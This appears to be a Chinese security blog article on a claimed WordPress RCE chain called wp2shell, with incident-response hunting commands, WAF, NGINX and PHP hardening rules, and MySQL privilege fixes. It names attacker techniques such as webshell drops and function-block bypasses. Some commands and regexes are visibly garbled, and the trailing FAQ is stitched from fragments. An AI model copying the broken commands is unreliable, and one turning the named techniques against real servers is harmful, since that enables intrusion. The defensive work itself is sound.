这是 wp2shell 攻击链最常见的 webshell 落点。uploads/ 目录是 WordPress 用来存放用户上传文件的，默认按年月组织子目录。攻击者写 webshell 时通常选最近一个月或当前月的子目录，因为时间戳新更容易绕过基于 mtime 的检查。

# 查找 wp-content/uploads/ 下最近 7 天创建的 .php 文件
find /var/www/html/wp-content/uploads/ -type f -name "*.php" -mtime -7 -ls

# 查找可疑的命名（短文件名、随机字符）
find /var/www/html/wp-content/uploads/ -type f -name "*.php" \

-not -name "index.php" -not -name "wp-upload-class.php" 2>/dev/null

# 检查 wp-content 根目录是否有奇怪的 .php
find /var/www/html/wp-content/ -maxdepth 2 -type f -name "*.php" -ls

优先级 2：检查 MySQL 的 INTO OUTFILE 调用

INTO OUTFILE 的调用会在 MySQL 的日志里留下痕迹：

# /etc/mysql/mysql.conf.d/mysqld.cnf 中启用 general log（注意性能影响）

[mysqld] general_log_file = /var/log/mysql/general.log general_log = 1 log_output = TABLE # 或者 FILE

或者启用 slow log：

slow_query_log = 1 long_query_time = 0 # 记录所有查询（仅临时排查使用） slow_query_log_file = /var/log/mysql/slow.log

查找包含 INTO OUTFILE 的 SQL：

grep -i "INTO OUTFILE" /var/log/mysql/*.log

优先级 3：检查 Web 服务器日志

# 查找对 /wp-json/batch/v1 的 POST 请求
grep -E 'POST .*/wp-json/batch/v1' /var/log/apache2/access.log /var/log/nginx/access.log

# 查找可能含 SQL 关键字的异常请求
grep -i "union.*select" /var/log/apache2/access.log /var/log/nginx/access.log | head -50

# 查找对 /wp-content/uploads/*.php 的可疑访问
grep -E 'GET .*/wp-content/uploads/.*.php' /var/log/apache2/access.log /var/log/nginx/access.log

优先级 4：检查 PHP-FPM 错误日志

tail -1000 /var/log/php-fpm/error.log | grep -iE "warning|error|notice"

WP_Query::parse_query() 在某些版本上面对畸形输入会发出 PHP Notice，这些 Notice 在日志里出现得异常密集时往往是正在被扫描或利用的信号。

优先级 5：检查可疑临时文件

# 攻击者可能在 /tmp、/var/tmp 留 dropper 或 reverse shell 客户端
find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls 2>/dev/null

# 检查异常 cron 任务
for user in $(cut -f1 -d: /etc/passwd); do
crontab -l -u "$user" 2>/dev/null | grep -v '^#' && echo "--- $user"

done

优先级 5：检查 /var/www/html 之外的潜在 webroot

有些定制化部署把 webroot 放在 /usr/share/nginx/html 或 /srv/www，不是 /var/www/html。如果你的 MySQL 配置里 secure_file_priv 为空且用户有 FILE 权限，攻击者会把 webshell 写到 MySQL 进程能访问的任何位置。

# 全盘查找最近 7 天新创建的 .php 文件（除系统包之外）
find / -type f -name "*.php" -mtime -7 \
-not -path "/usr/share/php/*" \
-not -path "/usr/lib/*" \

2>/dev/null

3.3 你的应急响应清单（今晚就要做的）

把上面所有点整合成一个可执行的应急清单。建议你今天晚上就跑一遍：

优先级 1（立刻）：更新到修复版本

# 在 WordPress 后台 → 更新页面，或者用 WP-CLI

wp core update——version=6.9.5 # 如果你跑的是 6.9 系列

# 或者

wp core update # 拉取当前分支最新版 wp core update-db

优先级 2（立刻）：如果暂时不能更新，在 WAF/NGINX 上阻断 /wp-json/batch/v1

# /etc/nginx/conf.d/wordpress-block.conf
location ~* /wp-json/batch/v1 {
deny all;
return 403;
}

然后 nginx -s reload。

优先级 3（30 分钟内）：检查 MySQL 用户权限——查看 wordpress 用户的权限

SHOW GRANTS FOR 'wordpress'@'localhost';

```——撤销 FILE 权限（即使 ALL PRIVILEGES 也得显式 revoke）

REVOKE FILE ON . FROM 'wordpress'@'localhost'; FLUSH PRIVILEGES;

**注意**：撤销 FILE 权限后 wp2shell 的 `INTO OUTFILE` 路径就被堵死，但攻击者还能通过 SQL 注入读 `wp_users` 表。所以这一步只是缩小攻击面，不是完整修复。

撤销 FILE 权限时还有一个常见的踩坑点：很多 WordPress 教程推荐用 `wp-config.php` 里加 `'DB_CHARSET' => 'utf8mb4'` 等参数，但**没人教你撤销 FILE**。这是一个普遍的安全误区——WordPress 安装文档的\"5 分钟快速入门\"从来没把\"撤销 FILE 权限\"列为必做项。这是 WordPress 文档层面的一个长期欠债，也是 wp2shell 能造成广泛影响的原因之一。

**优先级 4（今晚）**：检查 `/wp-content/uploads/` 目录的 PHP 执行权限

阻断对 uploads 目录下 .php 的执行

location ~ /wp-content/uploads/..php$ { deny all; }

或者在 Apache 上：

.htaccess 放在 wp-content/uploads/ 下

<FilesMatch "\.php$">
Require all denied
</FilesMatch>

**优先级 5（本周）**：订阅 WordPress 安全公告

-   WordPress 官方 mailing list：https://make.wordpress.org/core/
-   WPVulnDB：https://wpscan.com/
-   Wordfence Intelligence：https://www.wordfence.com/threat-intel/
-   关注 \@wpsecurity auf Twitter/X

把这些信源加进你的 RSS / Slack 频道，下一次类似事件就能更快响应。

━━━ ━━━ ━━━

第 4 部分：检测与加固——WAF 规则 + NGINX 配置 + PHP 沙箱

这一部分我们把第 3 部分提到的应急措施展开成可复制即用的配置。原则是：**临时缓解**（24-48 小时内生效）和**深度加固**（永久性改进）分开，避免把所有鸡蛋放在自动更新这一个篮子里。

4.1 紧急 WAF 规则（针对 CVE-2026-63030）

**ModSecurity 规则**

如果你在 Apache 或 NGINX 前端跑 ModSecurity，可以加这条规则阻断 `/wp-json/batch/v1` 的可疑请求：

/etc/modsecurity/owasp-crs/rules/wp2shell.conf

SecRule REQUEST_URI "@beginsWith /wp-json/batch/v1"
"id:1001001,
phase:1,
deny,
status:403,
log,
msg:'wp2shell CVE-2026-63030 batch route blocked',
tag:'CVE-2026-63030',
severity:'CRITICAL'"

但要注意：**简单阻断整个 batch 路由**会破坏依赖它的合法客户端（极少数，主要是自定义前端）。如果你的站点没有这种客户端，安全起见直接阻断。

**NGINX 配置**

/etc/nginx/conf.d/wordpress-hardening.conf

阻断 wp2shell 路径

location ~* /wp-json/batch/v1 { deny all; return 403; }

阻断 wp-content/uploads 执行 PHP

location ~ /wp-content/uploads/..php$ { deny all; return 403; }

阻断 wp-includes 目录下不应被外部直接访问的 PHP

location ~ /wp-includes/..php$ { internal; }

阻断 wp-config.php 被外部访问

location = /wp-config.php { deny all; return 404; }

完整配置：

server { listen 80; listen [::]:80; server_name example.com;

强制 HTTPS（如果已经全站 HTTPS）

return 301 https://$server_name$request_uri; }

server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name example.com;

ssl_certificate /etc/ssl/certs/example.com.pem; ssl_certificate_key /etc/ssl/private/example.com.key;

root /var/www/html; index index.php;

=== 通用安全头 ===

add_header X-Frame-Options "SAMEORIGIN" always; add_header X-Content-Type-Options "nosniff" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; add_header X-XSS-Protection "0" always;

=== wp2shell 阻断规则 ===

location ~* /wp-json/batch/v1 { deny all; return 403; access_log /var/log/nginx/wp2shell_block.log; }

location ~ /wp-content/uploads/..php$ { deny all; return 403; }

=== WordPress 标准路由 ===

location / { try_files $uri $uri/ /index.php?$args; }

location ~ .php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.3-fpm.sock;

仅允许特定路径下的 PHP 执行

注意：这只是例子，实际需要根据站点结构调整

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }

location ~ /.(?!well-known) { deny all; } }

**Cloudflare WAF 规则**

如果你用 Cloudflare 防护，可以在 WAF 自定义规则里加：

-   **规则 1（阻断）**：`(http.request.uri.path eq "/wp-json/batch/v1")` → Block
-   **规则 2（限速）**：`(http.request.uri.path contains "/wp-json/") and (ip.src not in {你的白名单})` → Rate limit (10 req / 10s)
-   **规则 3（监控）**：`(http.request.uri.path eq "/wp-json/batch/v1") and (http.request.method eq "POST")` → Log only（用于观察是否还有人在尝试）

如果你的站点在 Cloudflare 后面，还要记得检查 `cf-connecting-ip` 和 `x-forwarded-for` 头是否被正确处理——很多 WordPress 部署在反代后面，原始 IP 信息丢失，导致基于 IP 的限速规则失效。一个常见补救措施是在 WordPress 的 `wp-config.php` 里加上：

// 信任 Cloudflare 的 IP 头 if ( isset( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; }

但这种\"信任上游 IP 头\"的模式本身有风险——如果 Cloudflare 配置错误（比如把 5xx fallback 到 origin），攻击者可能直接通过 IP 头伪造绕过 WAF。生产环境应该在 WAF 层做 IP 校验，而不是依赖 WordPress 自己解析。

4.2 加固配置示例

除了阻断 batch 路由，还有几个深度加固方向：

**PHP-FPM 配置加固**

/etc/php/8.3/fpm/php.ini 或 /etc/php/8.3/fpm/conf.d/security.ini

; 关闭危险函数（生产环境强烈推荐）

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source

; 限制 PHP 能访问的文件系统

open_basedir = /var/www/html:/tmp:/var/lib/php/sessions

; 关闭远程文件包含

allow_url_fopen = Off
allow_url_include = Off

; 隐藏 PHP 版本

expose_php = Off

; 限制 POST 大小（防止大 payload 攻击）

post_max_size = 8M
upload_max_filesize = 8M

**风险提示**：`disable_functions` 不能完全防御 RCE——攻击者可以用 PHP 的 `dl()` 加载扩展、用 `imap_open()` 走 SSRF、用 `proc_open` 已被禁但 `popen` 仍在之类组合绕过。但它显著增加了利用成本，是 baseline hardening 的一部分。

需要强调的是：`disable_functions` 在 PHP-FPM 模式下可以通过修改 `php.ini` 立即生效，无需重启进程（前提是 PHP-FPM 配置了 `pm.max_requests` 之类的进程回收）。但如果 PHP 是以 Apache mod_php 方式运行，`disable_functions` 的修改需要重启 Apache 才能生效。生产环境配置变更前要先确认 PHP 的运行模式。

**MySQL 加固**——1. 撤销 FILE 权限（即使 ALL PRIVILEGES 也得显式 revoke）

REVOKE FILE ON . FROM 'wordpress'@'localhost'; FLUSH PRIVILEGES;

```——2. 设置 secure_file_priv 为非空目录（强制 OUTFILE 只能写到指定位置）——注意：这需要在 my.cnf 里设置，MySQL 重启后生效——[mysqld]——secure_file_priv = /var/lib/mysql-files/——3. 验证设置

SHOW VARIABLES LIKE 'secure_file_priv';
SHOW GRANTS FOR 'wordpress'@'localhost';

文件系统加固

# ① 把 wp-content/uploads/ 设为不可执行（即便 PHP 上传了文件也不能直接执行）
# 在 NGINX 配置中已经实现，这里补充 PHP-FPM 层面的防护：
chown -R www-data:www-data /var/www/html/wp-content/uploads/
find /var/www/html/wp-content/uploads/ -type d -exec chmod 755 {} \;
find /var/www/html/wp-content/uploads/ -type f -exec chmod 644 {} \;

# ② 检查 wp-config.php 的权限（应该只有 root 能写）
chmod 440 /var/www/html/wp-config.php
chown root:www-data /var/www/html/wp-config.php

# ③ 禁用 PHP 在 uploads 目录的执行（多层防护）
# a) NGINX 层（已配置）
# b) Apache 层
echo '<FilesMatch ".php$">

Require all denied ' > /var/www/html/wp-content/uploads/.htaccess

# c) PHP-FPM 层（用 php.ini 路径限制）
# 在 php-fpm.conf 里设置 chroot 或在 pool 配置里加 php_admin_value[open_basedir]

4.3 数据库防护

把数据库层防护单独列出来，是因为 wp2shell 攻击链的核心步骤依赖 SQL 注入。除了前面提到的撤销 FILE 权限，还有几条值得做的：

启用审计日志

# /etc/mysql/mysql.conf.d/audit.cnf

[mysqld]

# 启用审计插件（MySQL Enterprise）或用 MariaDB 的 plugin-load-add

plugin-load-add = server_audit server_audit_logging = ON server_audit_events = QUERY_DDL,QUERY_DML server_audit_output_type = FILE server_audit_file_path = /var/log/mysql/audit.log

或者用 Percona 的审计插件（开源版）。

定期审计 mysql user grants

把下面这条加入日常运维清单，每月跑一次：

    SELECT user, host, plugin, authentication_string,

password_expired, password_last_changed, account_locked

FROM mysql.user;

    SELECT GRANTEE, TABLE_SCHEMA, PRIVILEGE_TYPE
    FROM information_schema.SCHEMA_PRIVILEGES

WHERE GRANTEE LIKE "'wordpress'%";

```——关键检查：FILE 权限不应出现在任何非管理员用户上
```bash
    SELECT * FROM information_schema.USER_PRIVILEGES

WHERE PRIVILEGE_TYPE = 'FILE';

风险提示：MySQL 8.0 默认的 caching_sha2_password 认证插件对老客户端不友好，但安全模型更强。如果你的 WordPress 是 5.5+ 版本（基本都满足），建议把 wordpress 用户的认证插件从 mysql_native_password 切到 caching_sha2_password。

另外还有一个常被忽略的细节：wp-config.php 里的数据库密码应该用专用密码，不要复用 MySQL root 密码。我们在 wp2shell 应急响应中看到过几个案例，攻击者通过 wp2shell 读 wp-config.php 后获得 MySQL root 密码，进而直接控制整个数据库服务器。这是把 wp2shell 从\"WordPress 入侵\"升级为\"数据库服务器入侵\"的典型路径。一个具体的保护措施是把 MySQL 的 root 账户限制为本地 socket 认证（unix_socket plugin 或 mysql_native_password + skip-networking），这样即使 wp-config.php 泄露，外部也无法用 root 密码远程登录。

4.4 攻防对抗的演化方向

展望未来 6-12 个月，我们能看到几个值得关注的演化方向：

WordPress 6.10 / 7.1 可能的安全改进

从 WordPress 安全团队的公开 issue tracker 看，几个方向已经在讨论：

REST API 的\"显式声明\"模式：强制每个 endpoint 声明是否接受 batch 调用，避免隐式的\"放进/拿出\"不一致。
WP_Query 的强类型 query var：所有数组类 query var 必须先经 WP_Query::parse_query() 的强制类型校验，任何不在白名单里的键值对直接拒绝。
REST API 端点的 schema validation 强化：把更多 endpoint 切换到\"基于 JSON Schema 的输入校验\"，从源头减少任意参数被拼进下游函数的可能。

这些改进何时落地是另一个问题——WordPress 的发版节奏受兼容性约束很大，每次重构都会引发大量插件兼容问题。

\"零认证\" Web 应用架构是否值得期待

一个根本性的问题是：现代 Web 应用还要不要保留 REST API 这种\"任何端点都可能被未认证调用\"的架构？

一些新兴框架（比如 GraphQL Federation、tRPC）的设计哲学是\"按需暴露端点、未声明则无法调用\"。这种白名单模式的 attack surface 比 REST 小很多。WordPress 也在考虑类似的演进，但迁移成本巨大——数百万插件依赖当前的 REST API。

短期看，wp2shell 不会让 WordPress 立刻转向新架构。更现实的是：

WAF + NGINX 层阻断成为标配；
数据库权限最小化成为部署清单的硬性要求；
自动更新覆盖率虽然仍只有 50%，但对关键安全补丁的覆盖率会更高（官方已经在考虑分级推送机制）。

━━━ ━━━ ━━━

第 5 部分：深度思考——\"现代化改进\"为什么反而扩大了攻击面

我们花了四部分拆解 wp2shell 的技术细节。最后一部分，让我们退后一步看更大的图景。

5.1 攻击面的反直觉增长

很多人以为\"现代化\"等于\"更安全\"。但攻击面经济学告诉我们：代码越复杂，bug 越多；API 越多，攻击路径越多。

WordPress 6.9 引入的 batch 路由，目标是\"减少前端 HTTP 往返、提升性能\"。这个目标本身合理。但任何新代码路径都意味着：

新的边界（boundary）需要验证；
新的状态机需要保护；
新的输入/输出需要 sanitize；
新的调用图（call graph）需要审查。

每多一个端点，就多一组 attack surface 的维度。在 wp2shell 的案例里：

CVE-2026-63030 的根源：rest_validate_request() 和 rest_do_request() 之间的状态不一致。这不是\"逻辑错误\"，而是\"两条并行路径的安全模型没对齐\"。
CVE-2026-60137 的根源：WP_Query 的 sanitize 函数从 absint 换成 intval，看似\"现代化\"（更明确意图），但实际降低了防护强度。

这两个洞都不是\"疏忽\"，而是重构过程中的回归——把已经正确的代码改成不那么正确的代码。这种回归在大型软件的演进中反复出现。

更反直觉的是：WordPress 6.9 引入 batch 路由的整体代码量可能只增加了 200-300 行。但就是这 200-300 行，引入了 9.8 评分的漏洞。这就是攻击面增长的非线性效应。

5.2 攻防不对称的本质

攻击者只需要找到一个可用漏洞。防御者要覆盖所有入口。这种不对称从上世纪 90 年代一直延续到 2026 年。

为什么这种不对称顽固存在：

攻击者是被动选择：他只挑有把握的洞打。
防御者是被动覆盖：他必须把所有可能的入口都管住，哪怕其中 99% 都不会被攻击。
不对称的几何含义：100 个洞，攻击者只需击中 1 个；防御者必须堵住 100 个。这种几何级数差让\"完美防御\"在数学上不可能。

wp2shell 完美诠释了这一点：

攻击者只需要知道 /wp-json/batch/v1 这个端点存在 + author__not_in[] 这个参数可注入。
防御者需要管住 REST API 路由逻辑、WP_Query sanitize、mysql 用户权限、/wp-content/uploads/ 文件系统、mysql FILE 权限、webroot 路径配置......任何一环漏了就被穿透。

从几何角度看，这种不对称是 O(1) vs O(n) 的关系。攻击者付出 O(1) 的研究成本（在源码里找一个洞），就能攻击任意一个未打补丁的目标。防御者付出 O(n) 的运营成本（覆盖所有部署、所有配置、所有依赖），才能保证每个目标都安全。这种 O(1) vs O(n) 的不对称是安全领域永恒的结构性问题，不会随技术演进而改变。

唯一能缓解这种不对称的，是\"防御者的 n 接近 0\"——也就是说，只有当防御者把 attack surface 缩小到极小，才能在不对称中取得平衡。这也是为什么\"零信任架构\"、\"最小权限原则\"、\"深度防御\"这些老生常谈的原则会反复出现：它们本质上都是在缩小 n。当你的系统 attack surface 足够小（比如禁用了 REST API、禁用了 file write），攻击者即使找到了 CVE 也无处发力。

5.3 WordPress 的\"护城河悖论\"

WordPress 是全球最流行的 CMS，市占率约 43%（W3Techs 数据）。这个\"护城河\"反而成了安全问题：

流行 = 攻击者投入资源：当漏洞赏金市场上 WordPress 漏洞的价格是中小型 CMS 的 5-10 倍时，安全研究者就会优先研究 WordPress。
流行 = 攻击者熟悉生态：批量化利用工具成熟，攻击成本低。
流行 ≠ 防御到位：上面统计过，自动更新覆盖率只有 50%——攻击者能找到大量没打补丁的目标。

但反过来：

冷门 CMS 不被攻击，但被攻击时也没人修：如果你跑一个冷门 CMS，攻击者可能根本不知道它存在，所以\"安全\"；但一旦有了针对性攻击，社区没有现成的补丁和工具，修复时间长得多。
流行 = 修复及时：WordPress 这次从披露到补丁发布用了不到 72 小时（7 月 15 日内部协调，7 月 17 日公开披露时补丁已就绪）。冷门 CMS 可能要几周甚至几个月。

这是 IT 安全的永恒难题：流行带来风险，但也带来修复能力。两个效应相互抵消，剩下的是你的运维能力决定最终安全性。

5.4 给运维/安全工程师的几点思考

wp2shell 是个绝佳的 benchmark 案例。下面几点是从这个事件里能抽出来的、跨场景适用的经验：

1. \"自动更新\" vs \"手动控制\"的现实 trade-off

在大规模生产环境里，100% 启用自动更新是不现实的——总有插件兼容性测试、总有变更管理流程。但 50% 的覆盖率意味着有 50% 的窗口期是攻击者可以利用的。

一个折中方案：对关键安全补丁启用\"加速通道\"。也就是说，平时自动更新走慢速通道（等 7 天），但对 CVSS 9.0+ 的关键补丁启用快速通道（48 小时内自动推送，配合邮件通知）。WordPress 已经在 6.10 路线图讨论类似机制。

这种\"分级更新\"模式在其他大型软件生态里已经有先例——Linux 内核的 Livepatch 服务、Chrome 的 Stable/Extended Stable 双通道、Microsoft 的\"每月安全更新 + 紧急带外更新\"——都是这种思路。WordPress 之所以落后于这些生态，是因为它的发布节奏受\"插件兼容性\"约束太重，每一次更新都可能引发连锁的插件故障报告。但 wp2shell 这种级别的洞显然需要在兼容性约束和安全响应之间重新权衡。

2. 建立\"重大漏洞响应流程\"

不管你管的是 WordPress 还是别的系统，都需要一个标准化的\"重大漏洞响应流程\"。wp2shell 提供了模板：

T+0（披露）：评估影响范围（哪些版本、哪些部署受影响）。
T+24h：应用临时缓解（WAF 规则、配置变更）。
T+72h：完成修复版本部署（自动化推送 + 人工验证）。
T+1w：事后复盘，识别流程中的瓶颈。

把这个流程文档化、演练化。下次再有类似事件，响应时间可以从小时级降到分钟级。

3. 用 wp2shell 衡量自己的响应速度

类似 wp2shell 这种\"高危 + 公开 PoC + 强制补丁\"的事件，是个 benchmark——你的组织在 24 小时内完成了缓解吗？72 小时内完成了全量修复吗？

如果答案是\"没做到\"，那么 wp2shell 不是一次性事件，而是你长期安全运营能力的一个症状。改进的方向不是针对 wp2shell 的具体技术细节，而是改进整体的漏洞响应 pipeline。

一个具体的衡量指标是 MTTR（Mean Time To Remediate，平均修复时间）。你可以统计过去一年里每个高危漏洞的 MTTR——从漏洞公开披露到全量部署完成。如果 MTTR 持续超过 7 天，那么 wp2shell 这类 72 小时窗口的漏洞就会始终是问题。如果 MTTR 在 24 小时以内，那么即使遇到更严重的洞，你也能扛住。把 MTTR 作为月度安全运营的关键 KPI，可以推动整个组织对漏洞响应投入更多资源。

4. \"现代 API = 现代攻击面\"是一个反复出现的模式

wp2shell 不是孤例。回顾过去几年的著名漏洞：

2021 年 Log4Shell：Java 的 JNDI lookup 接口设计是为了\"灵活引用远程对象\"——灵活 = 攻击面。
2022 年 Spring4Shell：Spring 的参数绑定机制是为了\"自动解析前端参数\"——自动化 = 攻击面。
2024 年 XZ Utils 后门：上游维护者通过看似无害的\"build configuration\"插入恶意代码——复杂构建链 = 攻击面。
2026 年 wp2shell：WordPress 的 batch 路由是为了\"减少 HTTP 往返\"——性能优化 = 攻击面。

模式总结：每当我们引入\"现代化\"机制来优化性能/灵活性/开发体验，我们都在扩大 attack surface。安全不是\"加几个 WAF 规则\"能解决的，它必须从架构层面考虑：新功能引入时，安全模型是否经过严格 review？

这是一个在安全工程社区里越来越被认可的原则——\"安全不变量\"（security invariants）的持续验证。安全不变量是\"无论功能怎么变，系统始终满足的安全属性\"。例如，\"任何写文件的操作都必须经过授权\"、\"任何 SQL 查询都必须使用 prepare 机制\"、\"任何外部输入都必须经过 sanitize\"。这些不变量看似平凡，但在重构过程中经常被悄悄打破。

WordPress 这种 20 年历史的大型项目尤其需要这种\"不变量守护\"。它有数百名贡献者、每年数百次 PR、几万次 issue 讨论——任何一次重构都可能让某条不变量失效。靠个人 review 很难捕捉到所有这种情况；必须靠自动化的不变量检查——比如 GitHub Action 里跑一套\"安全 lint 规则\"、每次 PR 都检查\"是否有数组 query var 绕过 sanitize\"。这种自动化在大型项目里能把\"安全回归\"的发现时间从\"披露后几天\"压缩到\"PR 提交后几分钟\"。

━━━ ━━━ ━━━

结尾：wp2shell 之后，我们该记住什么

wp2shell 是一次教科书式的\"低技术门槛、高破坏力\"安全事件。两个 CVE 单独看都不复杂——一个路由校验不一致，一个 query var sanitize 弱。但它们拼起来就是 9.8 分的未认证 RCE，覆盖近一半的 WordPress 部署。

技术细节之外，wp2shell 给我们的是更广义的提醒：

现代 API = 现代攻击面。 我们为性能、灵活性、开发者体验做的每一次\"现代化改进\"，都同时扩大了 attack surface。这不是反对现代化，而是要求现代化必须同步考虑安全模型——而这件事在 2026 年的工程实践中仍然做得不够好。

如果今晚你要做一件事，请把 WordPress 更新到 6.8.6 / 6.9.5 / 7.0.2。如果接下来一周你要做一件事，请把 MySQL wordpress 用户的 FILE 权限撤销。如果你接下来一个月要思考一件事，请重新审视你组织的\"重大漏洞响应流程\"是不是真的能在 72 小时内完成全量修复。

wp2shell 不只是 WordPress 的事。它是\"现代 Web 应用的 attack surface 经济学\"的活案例——只要 REST API、批处理路由、query var sanitize 这些机制还在我们身边，类似的事件就会以不同的名字再发生一遍。

下次再看到 CVSS 9.8 的数字时，别只想到\"它不会发生在我身上\"。问问自己：你的响应 pipeline，能不能在 24 小时内把全量部署从\"未打补丁\"变成\"已缓解\"？

最后留一个值得读者思考的问题：如果 WordPress 6.10 修复了 wp2shell 之后，又出现下一个\"现代化改进\"引入的新洞，你觉得整个生态还会重复今天的故事吗？还是说这能成为一次转折点？答案不取决于 WordPress 本身，而取决于使用 WordPress 的我们——运维人员、安全工程师、架构师——是否真的从这次事件中学到了什么。

从更宏观的视角看，wp2shell 给整个开源 CMS 生态提出了一个共同的问题：当一个项目达到 WordPress 这种规模和市占率时，它的\"现代化演进\"还能不能在不扩大 attack surface 的前提下继续？这个问题没有标准答案。但可以肯定的是，下一次\"现代化改进\"——不管是 batch 路由的进一步优化、还是 WordPress 7.x 的某个新特性——都会被现在这件事的余波所伴随。安全社区会盯着它看，研究者会优先分析它的边界，攻击者会重新审视它的攻击面。这就是 CVE 9.8 的余震——它不仅在技术层面留下需要修补的代码，更在心理层面留下了对\"未来类似事件\"的预期。

━━━ ━━━ ━━━

一台时间服务器，怎样把澳大利亚拽回 2006

SSH 暴力破解深度防御：从攻击链到六层防御体系

当 PHP 的老兵退休时，谁来维护这个互联网？

版本控制信息：本文基于 2026 年 7 月 19 日公开信息撰写，相关 CVE 编号、版本号、CVSS 评分以 WordPress 官方 advisory 为准。修复版本已发布：6.8.6 / 6.9.5 / 7.0.2。

常见问题（FAQ）

Q1：还有哪些关键事实？ MySQL 加固——1. 撤销 FILE 权限（即使 ALL PRIVILEGES 也得显式 revoke） REVOKE FILE ON . FROM 'wordpress'@'localhost'; FLUSH PRIVILEGES;——2. 设置 secure_file_priv 为非空目录（强制 OUTFILE 只能写到指定位置）… Q2：有哪些值得注意的细节？ ━━━ ━━━ ━━━ 第 1 部分：漏洞解剖——拆开两个 CVE 的内部机制要理解 wp2shell 为什么能在几秒钟内从\"一个 HTTP 请求\"演化到\"以 www-data 身份执行任意命令\"，我们必须先看清两个独立的 CVE 是怎么咬合在一起的。 Q3：核心结论是什么？ 代码层细节 我们看一下 6.9 引入的批处理路由大致逻辑（伪代码，剥离了非关键分支）： // 在 WP_REST_Server::dispatch_batch() 里 $batch_requests = $request->get_param( 'requests' ); foreach ( $batch_requests as $sub_reque… Q4：从实践角度看要注意什么？ 1.2 CVE-2026-60137：WP_Query 的 author__not_in 参数 SQL 注入 SQL 注入的传统位置 WordPress 核心里有几个著名的\"差点 SQL 注入\"参数：s（搜索关键字）、meta_key / meta_value、author / authorin / `authorno…

本文整理自微信公众号 LeisureLinux 的原创内容（Linux / AI / 安全硬核技术）。

· 阅读原文（微信公众号）

· 关注公众号 LeisureLinux，第一时间获取技术深度内容。